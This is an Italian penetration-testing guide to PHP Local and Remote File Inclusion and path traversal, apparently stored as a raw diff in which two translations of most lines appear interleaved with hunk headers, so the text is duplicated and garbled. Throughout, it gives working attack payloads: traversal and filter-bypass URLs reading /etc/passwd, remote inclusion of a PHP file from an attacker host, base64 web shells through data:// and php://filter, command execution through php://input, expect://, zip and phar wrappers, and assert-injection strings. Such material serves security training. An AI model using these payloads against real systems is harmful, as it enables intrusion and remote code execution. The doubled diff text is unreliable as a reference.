**Remote File Inclusion (RFI):** Il file viene caricato da un server remoto (Ideale: puoi scrivere il codice e il server lo eseguirà). In php questo è **disabilitato** di default (**allow_url_include**).\
**Remote File Inclusion (RFI):** Il file viene caricato da un server remoto (Meglio: puoi scrivere il codice e il server lo eseguirà). In php questo è **disabilitato** per impostazione predefinita (**allow_url_include**).\
**Local File Inclusion (LFI):** Il server carica un file locale.
La vulnerabilità si verifica quando l'utente può controllare in qualche modo il file che verrà caricato dal server.
@ -19,17 +19,17 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
```
### **Linux**
**Mescolando diverse \*nix liste LFI e aggiungendo altri percorsi ho creato questa:**
**Combinando diverse liste \*nix LFI e aggiungendo altri percorsi ho creato questa:**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
Prova anche a cambiare `/` con `\`\
Prova anche a sostituire `/` con `\`\
Prova anche ad aggiungere `../../../../../`
Una lista che usa diverse tecniche per trovare il file /etc/password (per verificare se la vulnerabilità esiste) può essere trovata [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Una lista che usa diverse tecniche per trovare il file /etc/password (per verificare se la vulnerabilità esiste) può essere trovata [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
@ -40,22 +40,22 @@ Unione di diverse wordlists:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
Prova anche a cambiare `/` con `\`\
Prova anche a sostituire `/` con `\`\
Prova anche a rimuovere `C:/` e aggiungere `../../../../../`
Una lista che usa diverse tecniche per trovare il file /boot.ini (per verificare se la vulnerabilità esiste) può essere trovata [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Una lista che usa diverse tecniche per trovare il file /boot.ini (per verificare se la vulnerabilità esiste) può essere trovata [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
Controlla la lista LFI di linux.
## LFI di base e bypass
## LFI di base e bypasses
Tutti gli esempi sono per Local File Inclusion ma possono essere applicati anche a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
Tutti gli esempi sono per Local File Inclusion ma potrebbero essere applicati anche a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
### sequenze traversal rimosse non ricorsivamente
### sequenze di traversal rimosse non ricorsivamente
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -63,15 +63,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Bypassare l'aggiunta di altri caratteri alla fine della stringa fornita (bypass di: $\_GET\['param']."php")
Bypass l'aggiunta di altri caratteri alla fine della stringa fornita (bypass di: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Questo è **risolto a partire da PHP 5.4**
Questo è **risolto da PHP 5.4**
### **Codifica**
Puoi usare codifiche non standard come doppio URL encode (e altre):
Puoi usare codifiche non standard come double URL encode (e altri):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@ -86,36 +86,36 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Esplorare le directory del file system su un server
Il file system di un server può essere esplorato ricorsivamente per individuare directory, non solo file, usando determinate tecniche. Il processo prevede la determinazione della profondità delle directory e la verifica dell'esistenza di cartelle specifiche. Di seguito un metodo dettagliato per farlo:
Il file system di un server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando alcune tecniche. Questo processo comporta la determinazione della profondità delle directory e il controllo dell'esistenza di cartelle specifiche. Di seguito un metodo dettagliato per farlo:
1. **Determinare la profondità delle directory:** Accerta la profondità della directory corrente recuperando con successo il file `/etc/passwd` (applicabile se il server è basato su Linux). Un esempio di URL potrebbe essere strutturato come segue, indicando una profondità di tre:
1. **Determinare la profondità della directory:** Accertare la profondità della directory corrente riuscendo a recuperare il file `/etc/passwd` (applicabile se il server è basato su Linux). Un esempio di URL potrebbe essere strutturato come segue, indicando una profondità di tre:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Probe for Folders:** Aggiungi il nome della cartella sospetta (ad es., `private`) all'URL, quindi torna a navigare verso `/etc/passwd`. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno:
2. **Sonda le cartelle:** Aggiungi il nome della cartella sospetta (es., `private`) all'URL, poi torna a `/etc/passwd`. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Interpretare i risultati:** La risposta del server indica se la cartella esiste:
- **Errore / Nessun output:** La cartella `private` probabilmente non esiste nella posizione specificata.
- **Contenuto di `/etc/passwd`:** La presenza della cartella `private` è confermata.
4. **Esplorazione ricorsiva:** Le cartelle scoperte possono essere ulteriormente esplorate per sottodirectory o file usando la stessa tecnica o i tradizionali metodi di Local File Inclusion (LFI).
4. **Esplorazione ricorsiva:** Le cartelle scoperte possono essere ulteriormente esplorate per sottodirectory o file usando la stessa tecnica o i metodi tradizionali di Local File Inclusion (LFI).
Per esplorare directory in posizioni diverse del file system, regola il payload di conseguenza. Ad esempio, per verificare se `/var/www/` contiene una directory `private` (assumendo che la directory corrente sia a una profondità di 3), usa:
Per esplorare directory in posizioni diverse del file system, adatta il payload di conseguenza. Ad esempio, per verificare se `/var/www/` contiene una directory `private` (supponendo che la directory corrente sia ad una profondità di 3), usa:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation è un metodo impiegato per manipolare i percorsi dei file nelle applicazioni web. Viene spesso usato per accedere a file restritti bypassando certe misure di sicurezza che aggiungono caratteri extra alla fine dei percorsi dei file. L'obiettivo è costruire un percorso file che, una volta alterato dalla misura di sicurezza, punti comunque al file desiderato.
Path truncation è un metodo impiegato per manipolare i percorsi di file nelle applicazioni web. Viene spesso usato per accedere a file protetti bypassando certe misure di sicurezza che aggiungono caratteri alla fine dei percorsi. L'obiettivo è creare un percorso che, una volta modificato dalla misura di sicurezza, punti ancora al file desiderato.
In PHP, diverse rappresentazioni di un percorso file possono essere considerate equivalenti a causa della natura del file system. Per esempio:
In PHP, varie rappresentazioni di un percorso di file possono essere considerate equivalenti a causa della natura del filesystem. Per esempio:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` sono trattati tutti come lo stesso percorso.
- Quando gli ultimi 6 caratteri sono `passwd`, aggiungere una `/` (facendolo diventare `passwd/`) non cambia il file di destinazione.
- Allo stesso modo, se viene aggiunto `.php` a un percorso file (come `shellcode.php`), aggiungere `/.` alla fine non altera il file a cui si accede.
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` sono tutti trattati come lo stesso percorso.
- Quando gli ultimi 6 caratteri sono `passwd`, aggiungere una `/` (rendendo `passwd/`) non cambia il file di destinazione.
- Allo stesso modo, se `.php` è aggiunto a un percorso (come `shellcode.php`), aggiungere `/.` alla fine non altera il file a cui si accede.
Gli esempi forniti mostrano come utilizzare path truncation per accedere a `/etc/passwd`, un bersaglio comune a causa del suo contenuto sensibile (informazioni sugli account utente):
Gli esempi forniti mostrano come utilizzare path truncation per accedere a `/etc/passwd`, un target comune a causa del suo contenuto sensibile (informazioni sugli account utente):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
In questi scenari, il numero di traversals necessari potrebbe essere circa 2027, ma questo numero può variare in base alla configurazione del server.
In questi scenari, il numero di traversal necessari potrebbe essere circa 2027, ma questo numero può variare in base alla configurazione del server.
- **Using Dot Segments and Additional Characters**: Le traversal sequences (`../`) combinate con segmenti puntati aggiuntivi e caratteri possono essere utilizzate per navigare il file system, ignorando effettivamente le stringhe aggiunte dal server.
- **Determining the Required Number of Traversals**: Tramite tentativi ed errori, si può trovare il numero preciso di `../` necessari per raggiungere la root e poi `/etc/passwd`, assicurando che eventuali stringhe aggiunte (come `.php`) vengano neutralizzate ma il path desiderato (`/etc/passwd`) rimanga intatto.
- **Starting with a Fake Directory**: È pratica comune iniziare il path con una directory inesistente (come `a/`). Questa tecnica viene usata come misura precauzionale o per soddisfare i requisiti della path parsing logic del server.
- **Usare Dot Segments e caratteri aggiuntivi**: Le traversal sequences (`../`) combinate con dot segments aggiuntivi e caratteri possono essere usate per navigare il file system, facendo in modo di ignorare le stringhe aggiunte dal server.
- **Determinare il numero di traversal richiesto**: Attraverso tentativi ed errori, si può trovare il numero preciso di `../` traversal necessari per arrivare alla directory root e poi a `/etc/passwd`, assicurandosi che eventuali stringhe aggiunte (come `.php`) vengano neutralizzate ma il percorso desiderato (`/etc/passwd`) rimanga intatto.
- **Iniziare con una directory finta**: È prassi comune iniziare il percorso con una directory inesistente (come `a/`). Questa tecnica viene usata come misura precauzionale o per soddisfare i requisiti della logica di parsing del percorso del server.
Quando si impiegano tecniche di path truncation, è cruciale comprendere il comportamento di path parsing del server e la struttura del filesystem. Ogni scenario potrebbe richiedere un approccio diverso, e spesso è necessario testare per trovare il metodo più efficace.
Quando si impiegano tecniche di path truncation, è fondamentale comprendere il comportamento di parsing dei percorsi del server e la struttura del filesystem. Ogni scenario può richiedere un approccio diverso, e spesso è necessario testare per trovare il metodo più efficace.
**This vulnerability was corrected in PHP 5.3.**
**Questa vulnerabilità è stata corretta in PHP 5.3.**
### **Filter bypass tricks**
### **Trucchi per bypassare i filtri**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
@ -145,25 +145,25 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
In php questo è disabilitato per impostazione predefinita perché **`allow_url_include`** è **Off.** Deve essere **On** perché funzioni, e in quel caso potresti includere un file PHP dal tuo server e ottenere RCE:
In php questo è disabilitato di default perché **`allow_url_include`** è **Off.** Deve essere **On** perché funzioni, e in quel caso potresti includere un file PHP dal tuo server ed ottenere RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Se per qualche motivo **`allow_url_include`** è **On**, ma PHP sta **filtrando** l'accesso a pagine web esterne, [secondo questo post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), puoi usare per esempio il data protocol con base64 per decodificare un codice PHP in b64 e ottenere RCE:
Se per qualche motivo **`allow_url_include`** è **On**, ma PHP sta **filtrando** l'accesso a pagine web esterne, [secondo questo post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), puoi usare per esempio il protocollo data con base64 per decodificare un PHP codificato in b64 e ottenere RCE:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> Nel codice precedente, il finale `+.txt` è stato aggiunto perché l'attaccante aveva bisogno di una stringa che terminasse con `.txt`, quindi la stringa finisce con esso e dopo la decodifica b64 quella parte restituirà solo spazzatura e il vero codice PHP verrà incluso (e quindi eseguito).
Another example **not using the `php://` protocol** would be:
> Nel codice precedente, il `+.txt` finale è stato aggiunto perché l attacker aveva bisogno di una stringa che terminasse con `.txt`, quindi la stringa finisce con esso e dopo la decodifica b64 quella parte restituirà solo dati inutili e il vero codice PHP sarà incluso (e quindi eseguito).
>
> Un altro esempio **che non usa il protocollo `php://`** sarebbe:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python elemento root
## Python Root element
In Python, in un codice come il seguente:
In Python, in un codice come questo:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
@ -173,17 +173,17 @@ Se l'utente passa un **percorso assoluto** a **`file_name`**, il **percorso prec
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
È il comportamento previsto secondo [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
Questo è il comportamento previsto secondo [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Se un componente è un percorso assoluto, tutti i componenti precedenti vengono scartati e l'unione continua dal componente del percorso assoluto.
> Se un componente è un percorso assoluto, tutti i componenti precedenti vengono scartati e l'operazione di join continua dal componente del percorso assoluto.
## Java - Elenco directory
## Java List Directories
Sembra che se hai un Path Traversal in Java e **richiedi una directory** invece di un file, venga restituito **l'elenco della directory**. Questo non succede in altri linguaggi (per quanto ne so).
Sembra che se hai una Path Traversal in Java e **richiedi una directory** invece di un file, venga restituito un **listing della directory**. Questo non accade in altri linguaggi (per quanto ne so).
## Top 25 parametri
## Top 25 parameters
Ecco una lista dei 25 parametri principali che potrebbero essere vulnerabili a local file inclusion (LFI) vulnerabilities (da [link](https://twitter.com/trbughunters/status/1279768631845494787)):
Ecco la lista dei top 25 parameters che potrebbero essere vulnerabili a local file inclusion (LFI) (da [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -211,30 +211,30 @@ Ecco una lista dei 25 parametri principali che potrebbero essere vulnerabili a l
?mod={payload}
?conf={payload}
```
## LFI / RFI using PHP wrappers & protocols
## LFI / RFI usando PHP wrappers & protocolli
### php://filter
PHP filters permettono di eseguire operazioni di base di **modifica sui dati** prima che vengano letti o scritti. Ci sono 5 categorie di filtri:
I filter PHP permettono di eseguire semplici **operazioni di modifica sui dati** prima che vengano letti o scritti. Ci sono 5 categorie di filtri:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Rimuove i tag dai dati (tutto ciò che si trova tra i caratteri "<" e ">")
- Nota che questo filtro è scomparso dalle versioni moderne di PHP
- `string.strip_tags`: Rimuove i tag dai dati (tutto ciò che è tra i caratteri "<" e ">")
- Nota che questo filtro è scomparso nelle versioni moderne di PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Trasforma in una codifica differente (`convert.iconv.<input_enc>.<output_enc>`). Per ottenere la **lista di tutte le codifiche** supportate esegui in console: `iconv -l`
- `convert.iconv.*` : Trasforma in una codifica diversa (`convert.iconv.<input_enc>.<output_enc>`). Per ottenere la **lista di tutte le codifiche** supportate esegui in console: `iconv -l`
> [!WARNING]
> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, cosa che può essere utile per scrivere testo arbitrario o far sì che una funzione come include processi testo arbitrario. Per maggiori informazioni vedi [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, il che può essere utile per scrivere testo arbitrario o far sì che una funzione come include processi testo arbitrario. Per maggiori informazioni consulta [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Comprimi il contenuto (utile se esfiltrando molte informazioni)
- `zlib.deflate`: Comprimi il contenuto (utile se si devono esfiltrare molte informazioni)
- `zlib.inflate`: Decomprimi i dati
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Deprecato
@ -242,7 +242,7 @@ PHP filters permettono di eseguire operazioni di base di **modifica sui dati** p
- Other Filters
- Eseguendo in php `var_dump(stream_get_filters());` puoi trovare un paio di **filtri inaspettati**:
- `consumed`
- `dechunk`: inverte l'encoding HTTP chunked
- `dechunk`: inverte l'encoding chunked HTTP
- `convert.*`
```php
# String Filters
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> La parte "php://filter" non è case sensitive
> La parte "php://filter" non fa distinzione tra maiuscole e minuscole
### Usare php filters come oracle per leggere file arbitrari
[**In questo post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) viene proposta una tecnica per leggere un file locale senza ottenere l'output restituito dal server. Questa tecnica si basa su una **boolean exfiltration of the file (char by char) using php filters** come oracle. Questo perché i php filters possono essere usati per rendere un testo abbastanza grande da far scattare un'eccezione in php.
[**In questo post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) viene proposta una tecnica per leggere un file locale senza che l'output venga restituito dal server. Questa tecnica si basa su una **boolean exfiltration of the file (char by char) using php filters** come oracle. Questo perché i php filters possono essere usati per rendere un testo abbastanza grande da far lanciare un'eccezione a php.
Nel post originale si trova una spiegazione dettagliata della tecnica, qui invece un riassunto veloce:
Nel post originale trovi una spiegazione dettagliata della tecnica, qui invece un rapido riassunto:
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
- Questo verrà usato per generare un **text so big when the initial letter is guessed correctly** che php scarterà con un **error**
- Il filter **dechunk** **rimuoverà tutto se il primo char non è un hexadecimal**, quindi possiamo sapere se il primo char è hex.
- Questo, combinato con il precedente (e altri filters a seconda della lettera indovinata), ci permetterà di indovinare una lettera all'inizio del testo osservando quando, applicando abbastanza trasformazioni, essa non è più un hexadecimal character. Perché se è hex, dechunk non la cancellerà e la bomba iniziale farà scattare l'error di php.
- Il codec **convert.iconv.UNICODE.CP930** trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una `a`, per esempio, perché se applichiamo 6 volte questo codec a->b->c->d->e->f->g la lettera non è più un carattere hexadecimal, quindi dechunk non la elimina e l'error php viene triggerato perché si moltiplica con la bomba iniziale.
- Usando altre trasformazioni come **rot13** all'inizio è possibile leakare altri caratteri come n, o, p, q, r (e altri codec possono essere usati per spostare altre lettere nell'intervallo hex).
- Quando il carattere iniziale è un numero è necessario codificarlo in base64 e leakare le prime 2 lettere per leakare il numero.
- Il problema finale è capire **how to leak more than the initial letter**. Usando order memory filters come **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei chars e portare in prima posizione altre lettere del testo.
- E per poter ottenere **further data** l'idea è **generare 2 bytes of junk data at the beginning** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farli **pivot with the next 2 bytes**, e d**elete the data until the junk data** (questo rimuoverà i primi 2 bytes del testo iniziale). Continuare così fino a raggiungere il bit desiderato da leakare.
- Usa il codec **`UCS-4LE`** per lasciare il carattere iniziale del testo all'inizio e far aumentare esponenzialmente la dimensione della stringa.
- Questo servirà a generare un **testo così grande quando la lettera iniziale è indovinata correttamente** che php genererà un **errore**
- Il filtro **dechunk** rimuoverà tutto se il primo carattere non è un esadecimale, quindi possiamo sapere se il primo carattere è hex.
- Questo, combinato con il precedente (e altri filters a seconda della lettera indovinata), ci permetterà di indovinare una lettera all'inizio del testo osservando quando applichiamo abbastanza trasformazioni da farla non essere più un carattere esadecimale. Perché se è hex, dechunk non la cancellerà e la bomba iniziale farà scattare l'errore php.
- Il codec **convert.iconv.UNICODE.CP930** trasforma ogni lettera nella successiva (quindi dopo questo codec: `a -> b`). Questo ci permette di scoprire se la prima lettera è una `a` per esempio, perché se applichiamo 6 volte questo codec `a->b->c->d->e->f->g` la lettera non è più un carattere esadecimale, quindi dechunk non la elimina e l'errore php viene innescato perché si moltiplica con la bomba iniziale.
- Usando altre trasformazioni come **rot13** all'inizio è possibile leak altri caratteri come n, o, p, q, r (e altri codecs possono essere usati per portare altre lettere nell'intervallo hex).
- Quando il carattere iniziale è un numero è necessario codificarlo in base64 e leak le prime 2 lettere per ottenere il numero.
- Il problema finale è capire **how to leak more than the initial letter**. Usando filtri che cambiano l'ordine dei byte in memoria come **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei caratteri e portare in prima posizione altre lettere del testo.
- E per poter ottenere **further data** l'idea è di **generare 2 byte di junk data all'inizio** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farli pivotare con i successivi 2 byte, e **cancellare i dati fino ai junk data** (questo rimuoverà i primi 2 byte del testo iniziale). Continuare così finché non si raggiunge il bit desiderato da leak.
Nel post è stato anche pubblicato uno strumento per eseguire questo automaticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
Nel post è stato anche pubblicato uno strumento per eseguire automaticamente questo: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
Questo wrapper permette di accedere ai file descriptors che il processo ha aperti. Potenzialmente utile per exfiltrate il contenuto di file aperti:
Questo wrapper permette di accedere ai file descriptors che il processo ha aperti. Potenzialmente utile per exfiltrate il contenuto dei file aperti:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Puoi anche usare **php://stdin, php://stdout e php://stderr** per accedere ai **descrittori di file 0, 1 e 2** rispettivamente (non sono sicuro di come questo possa essere utile in un attacco)
Puoi anche usare **php://stdin, php://stdout and php://stderr** per accedere ai **descrittori di file 0, 1 e 2** rispettivamente (non sono sicuro di come questo possa essere utile in un attack)
### zip:// and rar://
Carica un file Zip o Rar con una PHPShell all'interno e accedervi.\
Per poter sfruttare il protocollo rar, esso **deve essere specificamente attivato**.
Per poter abusare del protocollo rar è **necessario attivarlo specificamente**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -328,7 +328,7 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Nota che questo protocollo è limitato dalle configurazioni PHP **`allow_url_open`** e **`allow_url_include`**
Nota che questo protocollo è limitato dalle configurazioni php **`allow_url_open`** e **`allow_url_include`**
### expect://
@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
```
### phar://
Un file `.phar` può essere utilizzato per eseguire codice PHP quando un'applicazione web usa funzioni come `include` per il caricamento di file. Lo snippet di codice PHP riportato sotto dimostra la creazione di un file `.phar`:
Un file `.phar` può essere utilizzato per eseguire codice PHP quando un'applicazione web sfrutta funzioni come `include` per il caricamento di file. Lo snippet PHP mostrato di seguito dimostra la creazione di un file `.phar`:
```php
<?php
$phar = new Phar('test.phar');
@ -354,15 +354,15 @@ $phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
Per compilare il file `.phar`, eseguire il seguente comando:
Per compilare il file `.phar`, deve essere eseguito il seguente comando:
```bash
php --define phar.readonly=0 create_path.php
```
Alla sua esecuzione, verrà creato un file chiamato `test.phar`, che potrebbe essere utilizzato per sfruttare vulnerabilità di Local File Inclusion (LFI).
Al momento dell'esecuzione, verrà creato un file chiamato `test.phar`, che potrebbe essere sfruttato per attaccare vulnerabilità di Local File Inclusion (LFI).
Nei casi in cui la LFI effettua solo la lettura dei file senza eseguire il codice PHP al loro interno, tramite funzioni come `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, è possibile tentare lo sfruttamento di una vulnerabilità di deserializzazione. Questa vulnerabilità è associata alla lettura di file usando il protocollo `phar`.
Nei casi in cui l'LFI esegue solo la lettura di file senza eseguire il codice PHP al loro interno — ad esempio attraverso funzioni come `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` o `filesize()` — si può tentare lo sfruttamento di una vulnerabilità di deserializzazione. Questa vulnerabilità è legata alla lettura di file usando il protocollo `phar`.
Per una comprensione dettagliata dello sfruttamento di vulnerabilità di deserializzazione nel contesto dei file `.phar`, consultare il documento collegato qui sotto:
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -373,32 +373,32 @@ phar-deserialization.md
### CVE-2024-2961
È stato possibile sfruttare **qualsiasi lettura di file arbitraria da PHP che supporta php filters** per ottenere una RCE. La descrizione dettagliata può essere [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Breve riassunto: un **overflow di 3 byte** nell'heap di PHP è stato sfruttato per **alterare la catena dei chunk liberi** di una specifica dimensione al fine di poter **scrivere qualsiasi cosa in qualsiasi indirizzo**, quindi è stato aggiunto un hook per chiamare **`system`**.\
È stato possibile allocare chunk di dimensioni specifiche abusando di ulteriori php filters.
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Breve riassunto: un **overflow di 3 byte** nell'heap di PHP è stato sfruttato per **alterare la catena di free chunks** di una specifica dimensione al fine di poter **scrivere qualsiasi cosa in qualsiasi indirizzo**, quindi è stato aggiunto un hook per chiamare **`system`**.\
È stato possibile allocare chunk di dimensioni specifiche abusando di altri php filters.
### More protocols
Consulta altri possibili[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
Vedi altri possibili[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Scrive in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un file inclusion attack)
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Scrive in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un attacco di file inclusion)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accesso al filesystem locale
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accesso a URL HTTP(s)
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accesso a URL FTP(s)
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Stream di compressione
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trova pathname corrispondenti al pattern (Non restituisce nulla di stampabile, quindi non è molto utile qui)
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trova pathnames che corrispondono al pattern (non restituisce nulla di stampabile, quindi non è molto utile qui)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Stream audio (Non utile per leggere file arbitrari)
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Stream audio (non utile per leggere file arbitrari)
## LFI via PHP's 'assert'
## LFI tramite 'assert' di PHP
I rischi di Local File Inclusion (LFI) in PHP sono particolarmente elevati quando si ha a che fare con la funzione 'assert', che può eseguire codice presente in stringhe. Questo è particolarmente problematico se l'input che contiene caratteri di directory traversal come ".." viene controllato ma non correttamente sanitizzato.
I rischi di Local File Inclusion (LFI) in PHP sono particolarmente alti quando si lavora con la funzione 'assert', che può eseguire codice contenuto in stringhe. Questo è particolarmente problematico se l'input contenente caratteri di directory traversal come ".." viene controllato ma non adeguatamente sanitizzato.
Ad esempio, del codice PHP potrebbe essere progettato per prevenire il directory traversal in questo modo:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Sebbene ciò miri a impedire la traversal, crea involontariamente un vettore per code injection. Per sfruttarlo per leggere il contenuto dei file, un attaccante potrebbe usare:
Sebbene ciò miri a bloccare la traversal, crea involontariamente un vettore per code injection. Per sfruttare questo per leggere il contenuto dei file, un attaccante potrebbe usare:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
@ -406,18 +406,18 @@ Allo stesso modo, per eseguire comandi di sistema arbitrari, si potrebbe usare:
```plaintext
' and die(system("id")) or '
```
È importante **URL-encode these payloads**.
È importante **URL-encode** questi **payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> Questa tecnica è rilevante nei casi in cui tu **controlli** il **percorso del file** di una **funzione PHP** che **accéderà a un file** ma non vedrai il contenuto del file (come una semplice chiamata a **`file()`**) perché il contenuto non viene mostrato.
> Questa tecnica è rilevante nei casi in cui tu **controlli** il **file path** di una **PHP function** che **access a file** ma non vedrai il contenuto del file (come una semplice chiamata a **`file()`**) perché il contenuto non viene mostrato.
In [**questo incredibile post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) viene spiegato come un blind path traversal possa essere abusato via PHP filter per **exfiltrate the content of a file via an error oracle**.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) viene spiegato come un blind path traversal possa essere abusato tramite PHP filter per **exfiltrate the content of a file via an error oracle**.
In sintesi, la tecnica utilizza la **codifica "UCS-4LE"** per rendere il contenuto di un file così **grande** che la **funzione PHP che apre** il file innescherà un **errore**.
